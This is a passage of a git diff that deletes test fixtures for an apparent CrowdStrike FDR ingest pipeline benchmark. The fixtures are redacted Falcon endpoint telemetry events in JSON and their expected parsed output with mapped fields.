-{"ImageSignatureType":"0","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} -{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"0","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} -{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} -{"RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","ContextThreadId":"700420809200030","aip":"81.2.69.192","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"89.160.20.128","event_platform":"Win","TokenType":"1","EventOrigin":"17","InterfaceGuid":"12ABC-345-56D7-X","RpcClientProcessId":"000000000000","id":"aaaaaaaaaa-c6b5-499a-a494-cccccccccc","EffectiveTransmissionClass":"3","timestamp":"1757935009450","LocalAddressIP4":"89.160.20.128","event_simpleName":"ServiceStarted","ContextTimeStamp":"1757935008.880","UserName":"redacted-computer-name","ConfigStateHash":"00000000","InterfaceVersion":"1111111","RpcClientThreadId":"2222222222222","AuthenticationId":"333","ServiceDisplayName":"","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\.exe","TargetProcessId":"444444444444","ImageFileName":"\\Device\\Volume\\Windows\\System32\\.exe","RpcOpNum":"19","Entitlements":"15","name":"ServiceStartedV2","ComputerName":"redacted-user-name","aid":"11111aaaaaaaaaaaaacccccccccddddd","RpcNestingLevel":"0","cid":"22222bbbbbbbbbbbbbdddddddddd1233"} -{"AuthenticodeHashDataSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ContextThreadId":"1111111111111","CertificateIssuer":"Microsoft Windows Production PCA 2011","aip":"89.160.20.128","CertificateSignatureHash":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","CertificatePublisher":"Microsoft Windows","CompanyName":"Microsoft Corporation","event_platform":"Win","AuthenticodeHashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","OriginalFilename":"wdnisdrv.sys","FileVersion":"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)","ImageCheckSum":"123456","EventOrigin":"17","RpcClientProcessId":"000000000000","id":"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb","EffectiveTransmissionClass":"3","timestamp":"1757905962256","LocalAddressIP4":"89.160.20.128","event_simpleName":"DriverLoad","ContextTimeStamp":"1757905958.885","ConfigStateHash":"111111111","ContextProcessId":"000000000000","DriverLoadFlags":"0","ImageEntryPoint":"94208","MD5HashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","RpcClientThreadId":"1908581779603","SHA256HashData":"cccccccccccccccccccccccccccccccccccccccccccccccccccccc","ServiceDisplayName":"WdNisDrv","ConfigBuild":"1007.3.0019907.15","FixedFileVersion":"4.18.25070.5","RegistryPath":"","ImageFileName":"\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","ImageTimeStamp":"2448850720","Entitlements":"15","name":"DriverLoadV6","ComputerName":"redacted-computer-name","CertificateSignatureHashAlgorithm":"32780","aid":"11111aaaaaaaaaaaaacccccccccddddd","cid":"22222bbbbbbbbbbbbbdddddddddd1233","HashAlgorithm":"32780"} -{"ContextThreadId":"1945182997323","aip":"81.2.69.192","RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED","RegClassificationFlags":"257","RegOperationType":"2","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"","timestamp":"1757920331466","LocalAddressIP4":"81.2.69.192","event_simpleName":"RegCrowdstrikeValueUpdate","ContextTimeStamp":"1757920329.062","ConfigStateHash":"2080600092","ContextProcessId":"100704500092","RegType":"0","RegClassificationIndex":"405","AuthenticationId":"997","ConfigBuild":"1007.3.0019907.15","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"102","Entitlements":"15","name":"RegCrowdstrikeValueUpdateV1","ComputerName":"redacted-computer-name","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-1-5-18","ContextBaseFileName":"svchost.exe","FileCategory":"3","Size":"22929","ContextThreadId":"1111111111111","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1757906530446","LocalAddressIP4":"89.160.20.112","event_simpleName":"PngFileWritten","ContextTimeStamp":"1757906529.857","UserName":"dev-win10-3$","ConfigStateHash":"1234437812","ContextProcessId":"111122223333","IrpFlags":"0","AuthenticationId":"999","FileWrittenFlags":"0","ConfigBuild":"1002.2.0019609.21","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"15","name":"PngFileWrittenV3","ComputerName":"dev-win10-3","OperationFlags":"0","Attacks":[{"Tactic":"Command and Control","Technique":"Data Obfuscation"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Images\\qwert.png"} -{"event_simpleName":"MotwWritten","ConfigStateHash":"0222222222","ContextProcessId":"1111111111","aip":"89.160.20.128","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","HostUrl":"","Entitlements":"15","name":"MotwWrittenV2","EventOrigin":"1","ReferrerUrl":"","id":"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","timestamp":"1755541882619","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Local\\Default\\Files\\asdf-ghkl"} -{"event_simpleName":"MountedVolume","BatchDataTotal":"3","VolumeSessionUUID":"BA6553C6-EA71-4F58-ADF2-EB7C71401657","BatchTimestamp":"1758303984.040","BatchDataNumber":"2","VolumeMountPoint":"\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","VolumeDriveLetter":"\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","event_platform":"Win","VolumeDeviceObjectFlags":"134479872","VolumeFileSystemDevice":"\\Ntfs","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","EventOrigin":"1","DiskParentDeviceInstanceId":"PCI\\VEN_15AD\u0026DEV_07F0\u0026SUBSYS_07F015AD\u0026REV_00\\4\u00263b50545d\u00260\u002600B8","VolumeDeviceCharacteristics":"131072","id":"4a10cafe-7a95-4659-80c0-9b670b2308c1","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1758303980922","VolumeName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","ConfigStateHash":"3667246164","MountedVolumeAction":"0","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeLabel":"","ConfigBuild":"1007.3.0019907.15","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"15","name":"MountedVolumeV1","VirtualDriveFileName":"","ComputerName":"ETW","aid":"bae5bafaeb93295d398bf55b8ba1cf01"} -{"event_simpleName":"FalconProcessHandleOpDetectInfo","GrandparentProcessId":"107378835181","GrandparentProcessPatternIdList":"","ParentProcessId":"107382228681","TemplateInstanceId":"20587","ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe","HandleOperationType":"1","event_platform":"Win","PatternId":"10517","EventOrigin":"1","id":"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf","ParentCommandLine":"wininit.exe","EffectiveTransmissionClass":"3","timestamp":"1757916888316","ConfigStateHash":"3164437859","TemplateDisposition":"10","ContextProcessId":"107384762651","TargetProcessImageFileName":"\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\services.exe","ParentProcessPatternIdList":"7201,7410,7426","TargetProcessId":"107445999828","DesiredAccess":"2097151","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe","Entitlements":"15","name":"FalconProcessHandleOpDetectInfoV1","ComputerName":"win10-qwe-3","ContextProcessTagsAsString":"179,417,113292","aid":"cdbfd7c3bab5478d935db9969b5886cc","PatternIdList":"7053,7090,7119","TargetProcessCommandLine":"\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\""} -{"event_simpleName":"ServiceStopped","SourceProcessId":"111822186970","EtwRawRpcClientProcessId":"5940","event_platform":"Win","EventOrigin":"1","id":"e9e1ae71-7b21-4260-9891-f1dd497a7ea9","EffectiveTransmissionClass":"3","timestamp":"1761814422802","IsHosted":"0","ContextTimeStamp":"1761814419.055","ConfigStateHash":"1611923365","EtwRawProcessId":"5940","ServiceDisplayName":"wuauserv","ConfigBuild":"1007.3.0020008.15","CommandLine":"C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv","TargetProcessId":"111822186970","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe","Entitlements":"15","name":"ServiceStoppedV2","ClientProcessStartKey":"7599824371187858","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc"} -{"event_simpleName":"KernelServiceStarted","ContextTimeStamp":"1761811657.917","ConfigStateHash":"1146505100","ContextProcessId":"111669260464","ContextThreadId":"1984294987428","RpcClientThreadId":"1985175578964","ServiceDisplayName":"@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","ImageFileName":"\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","Entitlements":"15","name":"KernelServiceStartedV3","ImageBaseName":"WdNisDrv.sys","EventOrigin":"17","ComputerName":"raquel-win10-3","RpcClientProcessId":"111754267474","id":"664425be-9ed3-4b41-8790-5bd12a9889e8","EffectiveTransmissionClass":"3","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1761811660596"} -{"event_simpleName":"InstalledBrowserExtension","BrowserName":"4","BrowserFilePath":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","BatchDataTotal":"2","BrowserProfileName":"Profile 1","BatchTimestamp":"1757820209.223","BrowserExtensionVersion":"1.2.1","BrowserExtensionInstalledTimestamp":"1748442656.300","BatchDataNumber":"1","UserSid":"S-1-5-21-2765107603-xxxx-500","event_platform":"Win","UpdateFlag":"1","BrowserProfileId":"Default","EventOrigin":"17","id":"0eaf2b81-3888-446f-99ba-e38ff8249b25","EffectiveTransmissionClass":"2","timestamp":"1757820209811","BrowserExtensionArchitecture":"3","UserName":"win10_user3","ConfigStateHash":"3164437859","BrowserExtensionPath":"C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0","BrowserExtensionId":"jmjflgjpcpepeafmmgdpfkogkghcpiha","ConfigBuild":"1007.3.0019907.15","BrowserExtensionName":"Edge relevant text changes","BrowserExtensionStatusEnabled":"1","BrowserFileHash":"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b","Entitlements":"15","name":"InstalledBrowserExtensionV2","ComputerName":"win10-qwe-3","BrowserExtensionInstallMethod":"1","aid":"cdbfd7c3bab5478d935db9969b5886cc","BrowserVersion":"138.0.3351.83"} -{"event_simpleName":"SensorAntiTamperState","ConfigStateHash":"1442922594","ConfigBuild":"1007.3.0019907.15","AntiTamperStateFlag":"9","event_platform":"Win","Entitlements":"15","name":"SensorAntiTamperStateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"8bee55a5-f768-48b9-ab4c-614a1283a58a","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836"} -{"event_simpleName":"SensorSettingsUpdate","RTRState":"1","ConfigStateHash":"1442922594","Flags":"0","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"SensorSettingsUpdateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"c188e104-d940-46af-aed8-acf5086fc187","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836"} -{"event_simpleName":"ServicesStatusInfo","ConfigStateHash":"1694325680","ServiceDisplayName":"spooler","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"ServicesStatusInfoV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"37ddccdf-594d-4224-97de-e784822466f4","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757819610498","ServiceCurrentState":"4"} -{"event_simpleName":"FileWrittenWithEntropyHigh","Size":"12216","ShannonEntropy":"932","BoundingLimitCount":"5","event_platform":"Win","EventOrigin":"1","id":"fc10d190-e98f-45fc-bb2a-ca60d3534a2a","EffectiveTransmissionClass":"3","timestamp":"1761811953235","ContextTimeStamp":"1761811952.620","ConfigStateHash":"1146505100","ContextProcessId":"111845303038","AuthenticationId":"999","ConfigBuild":"1007.3.0019907.15","FileEcpBitmask":"0","BoundingLimitDuration":"3600000","Entitlements":"15","name":"FileWrittenWithEntropyHighV2","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion","Technique":"Obfuscated Files or Information"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp"} -{"event_simpleName":"ReflectiveDotnetModuleLoad","AssemblyName":"vezhsq1h, Version\u003d0.0.0.0, Culture\u003dneutral, PublicKeyToken\u003dnull","ModuleNativePath":"","NativePdbBuildPath":"","event_platform":"Win","DotnetModuleFlags":"8","DotnetModuleId":"140707789195504","EventOrigin":"1","id":"b089f099-ffac-44fd-9efe-e1bc148214ee","EffectiveTransmissionClass":"3","timestamp":"1755638644187","ManagedPdbBuildPath":"","ContextTimeStamp":"1755638637.713","ConfigStateHash":"3064617115","ContextProcessId":"11708829302","AssemblyFlags":"0","EtwProviderType":"2","ConfigBuild":"1007.3.0019907.15","CommandLine":"\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Entitlements":"15","name":"ReflectiveDotnetModuleLoadV2","AssemblyId":"1825020243168","aid":"cdbfd7c3bab5478d935db9969b5886cc","ModuleILPath":"vezhsq1h"} -{"event_simpleName":"SuspiciousPrivilegedProcessHandle","IntegrityLevel":"16384","ContextThreadId":"1217210494023","TargetIntegrityLevel":"16384","event_platform":"Win","SuspiciousHandleOpenReason":"2","EventOrigin":"1","id":"87902694-15af-4692-b1e2-bf7fba80b272","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1757597618983","ContextTimeStamp":"1757597618.424","ConfigStateHash":"3591479077","ContextProcessId":"90332841484","AuthenticationId":"996","ConfigBuild":"1007.3.0019907.15","TargetProcessId":"90365065195","DesiredAccess":"2097151","Entitlements":"15","name":"SuspiciousPrivilegedProcessHandleV2","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc","TargetAuthenticationId":"996"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json deleted file mode 100644 index 7ac6cb124a..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json +++ /dev/null @@ -1,11696 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AsepClass": "7", - "AsepFlags": "3", - "AsepIndex": "5", - "AsepValueType": "0", - "AuthenticationId": "830", - "ConfigStateHash": "4001039063", - "ContextProcessId": "3007920321347", - "ContextTimeStamp": "2025-08-14T07:19:14.441Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c", - "RegOperationType": "5", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "6b69e784610ff3e5da99cb6f884fbb59c197", - "name": "d86b419894d5423" - }, - "device": { - "id": "061f50de227f377d5a1cbbcda2493711" - }, - "event": { - "action": "modification", - "category": [ - "registry" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "6b69e784610ff3e5da99cb6f884fbb59c197|061f50de227f377d5a1cbbcda2493711|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"AsepKeyUpdate\",\"ContextTimeStamp\":\"1755155954.441\",\"AsepFlags\":\"3\",\"ConfigStateHash\":\"4001039063\",\"ContextProcessId\":\"3007920321347\",\"AsepClass\":\"7\",\"AsepIndex\":\"5\",\"ContextThreadId\":\"416006001900040\",\"aip\":\"81.2.69.144\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\604dce44\\\\2345e09c\",\"RegOperationType\":\"5\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"AsepValueType\":\"0\",\"TokenType\":\"1\",\"Entitlements\":\"66\",\"name\":\"d86b419894d5423\",\"EventOrigin\":\"1\",\"id\":\"6b69e784610ff3e5da99cb6f884fbb59c197\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"061f50de227f377d5a1cbbcda2493711\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "061f50de227f377d5a1cbbcda2493711", - "os": { - "type": "windows" - } - }, - "message": "AsepKeyUpdate", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "061f50de227f377d5a1cbbcda2493711", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3007920321347", - "thread": { - "id": 416006001900040 - } - }, - "registry": { - "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c", - "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c" - }, - "related": { - "hash": [ - "4001039063" - ], - "ip": [ - "81.2.69.144" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AsepClass": "94", - "AsepFlags": "0", - "AsepIndex": "600", - "AsepValueType": "0", - "AuthenticationId": "7054705", - "ConfigStateHash": "204061009", - "ContextProcessId": "47593002510450", - "ContextTimeStamp": "2025-08-27T07:45:38.081Z", - "Data1": "31", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "1", - "RegObjectName": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b", - "RegOperationType": "1", - "RegStringValue": "5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe", - "RegType": "1", - "TargetCommandLineParameters": "8 -c07e1208b8efbe", - "TargetSHA256HashData": "36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "1165d56b44df464d4a3dd26905c78ac2c7e5", - "name": "8f3c176fdab74b6c9" - }, - "device": { - "id": "f929742c2e4bd22b1829b6206b1dc84b" - }, - "event": { - "action": "modification", - "category": [ - "registry" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "1165d56b44df464d4a3dd26905c78ac2c7e5|f929742c2e4bd22b1829b6206b1dc84b|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"AsepFlags\":\"0\",\"ContextThreadId\":\"970373501024004\",\"aip\":\"81.2.69.144\",\"RegObjectName\":\"\\\\85aaee17\\\\92b7\\\\f33b4a1f\\\\02413\\\\4e7075fa\\\\25f3666b\",\"Data1\":\"31\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"TargetCommandLineParameters\":\"8 -c07e1208b8efbe\",\"EventOrigin\":\"1\",\"id\":\"1165d56b44df464d4a3dd26905c78ac2c7e5\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"AsepValueUpdate\",\"ContextTimeStamp\":\"1756280738.081\",\"ConfigStateHash\":\"204061009\",\"RegType\":\"1\",\"ContextProcessId\":\"47593002510450\",\"AsepClass\":\"94\",\"AsepIndex\":\"600\",\"AuthenticationId\":\"7054705\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"\",\"AsepValueType\":\"0\",\"TargetSHA256HashData\":\"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906\",\"Entitlements\":\"96\",\"name\":\"8f3c176fdab74b6c9\",\"aid\":\"f929742c2e4bd22b1829b6206b1dc84b\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\f5be3\\\\e5cdd471\\\\94554fd8.exe\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "directory": "\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471", - "extension": "exe", - "name": "94554fd8.exe", - "path": "\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe", - "type": "file" - }, - "host": { - "id": "f929742c2e4bd22b1829b6206b1dc84b", - "os": { - "type": "windows" - } - }, - "message": "AsepValueUpdate", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "f929742c2e4bd22b1829b6206b1dc84b", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "47593002510450", - "thread": { - "id": 970373501024004 - } - }, - "registry": { - "data": { - "strings": [ - "5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe" - ], - "type": "REG_SZ" - }, - "key": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b", - "path": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b" - }, - "related": { - "hash": [ - "204061009" - ], - "ip": [ - "81.2.69.144" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "70760008", - "ConfigStateHash": "9968901000", - "ContextProcessId": "3100000500830", - "ContextTimeStamp": "2025-06-11T18:54:08.903Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "1", - "InterfaceGuid": "3c1edad779c6920ba025d32fc1d69997cc40", - "InterfaceVersion": "0", - "RpcClientProcessId": "4508060034060", - "RpcClientThreadId": "207001810400038", - "RpcNestingLevel": "0", - "RpcOpNum": "4", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "eedef0c0fc042e28949c251e42e913cb3fe6", - "name": "11cf958b636de07e" - }, - "device": { - "id": "082e3fde13bab854ebe72df7d1543cae" - }, - 